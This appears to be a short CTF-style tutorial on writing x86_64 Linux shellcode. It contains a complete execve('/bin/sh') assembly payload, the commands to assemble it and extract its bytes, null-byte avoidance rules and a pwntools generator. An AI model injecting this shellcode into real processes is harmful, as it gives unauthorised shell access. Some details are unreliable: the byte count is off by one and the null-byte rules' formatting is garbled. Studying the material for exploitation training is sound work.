intermediatecat/pwn~3 min read

Shellcode Writing & Injection

Craft assembly shellcode, eliminate null byte constraints, and inject executable machine code into target process memory.

// prerequisite reading

What is Shellcode?

Shellcode is a sequence of machine code instructions designed to execute a specific task (such as spawning /bin/sh or opening a reverse TCP connection) when injected into an exploited process’s memory space.


Linux System Call ABI (x86_64)

To invoke a system call in 64-bit Linux (syscall instruction), place arguments into standard CPU registers:

Register Purpose Value for execve
rax Syscall Number 59 (0x3b)
rdi Argument 1 (filename) Pointer to string "/bin/sh\x00"
rsi Argument 2 (argv) NULL (0) or array of pointers
rdx Argument 3 (envp) NULL (0)

Crafting x86_64 /bin/sh Shellcode

Assembly Code (shell.s)

global _start

section .text
_start:
    ; Zero out rax and rdx
    xor rax, rax
    push rax                    ; Push NULL byte terminator to stack

    ; Push string "/bin//sh" (8 bytes) in reverse byte order (Little-Endian)
    ; "//" is used to pad the string to exactly 8 bytes
    mov rbx, 0x68732f2f6e69622f
    push rbx

    ; Set rdi = pointer to "/bin//sh" string on stack
    mov rdi, rsp

    ; Set rsi = 0 (argv = NULL)
    xor rsi, rsi

    ; Set rdx = 0 (envp = NULL)
    xor rdx, rdx

    ; Set rax = 59 (sys_execve)
    mov al, 59

    ; Trigger kernel syscall interrupt
    syscall

Assembling & Extracting Machine Code Bytes

# Assemble and link
nasm -f elf64 shell.s -o shell.o
ld shell.o -o shell

# Extract raw hexadecimal opcode bytes
objdump -d shell | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-6 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s

Resulting 27-byte shellcode: \x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb0\x3b\x0f\x05


Eliminating Bad Characters (Null Bytes \x00)

String functions like strcpy() or scanf() terminate input upon encountering null bytes (\x00).

Null Elimination Rules

  1. Do not use full-size register assignments:
    • mov rax, 59 (contains \x00\x00\x00... in machine code)
    • xor rax, rax followed by mov al, 59
  2. Do not push 0 directly:
    • push 0
    • xor rdx, rdx followed by push rdx
  3. Use bitwise XOR / subtract operations to compute values dynamically.

Generating Shellcode with Pwntools

Pwntools provides built-in shellcode generation and assembly tools:

from pwn import *

context.arch = 'amd64'
context.os = 'linux'

# Generate shellcode to execute /bin/sh
sc = shellcraft.amd64.linux.sh()
binary_shellcode = asm(sc)

print(f"Shellcode length: {len(binary_shellcode)} bytes")
print(hexdump(binary_shellcode))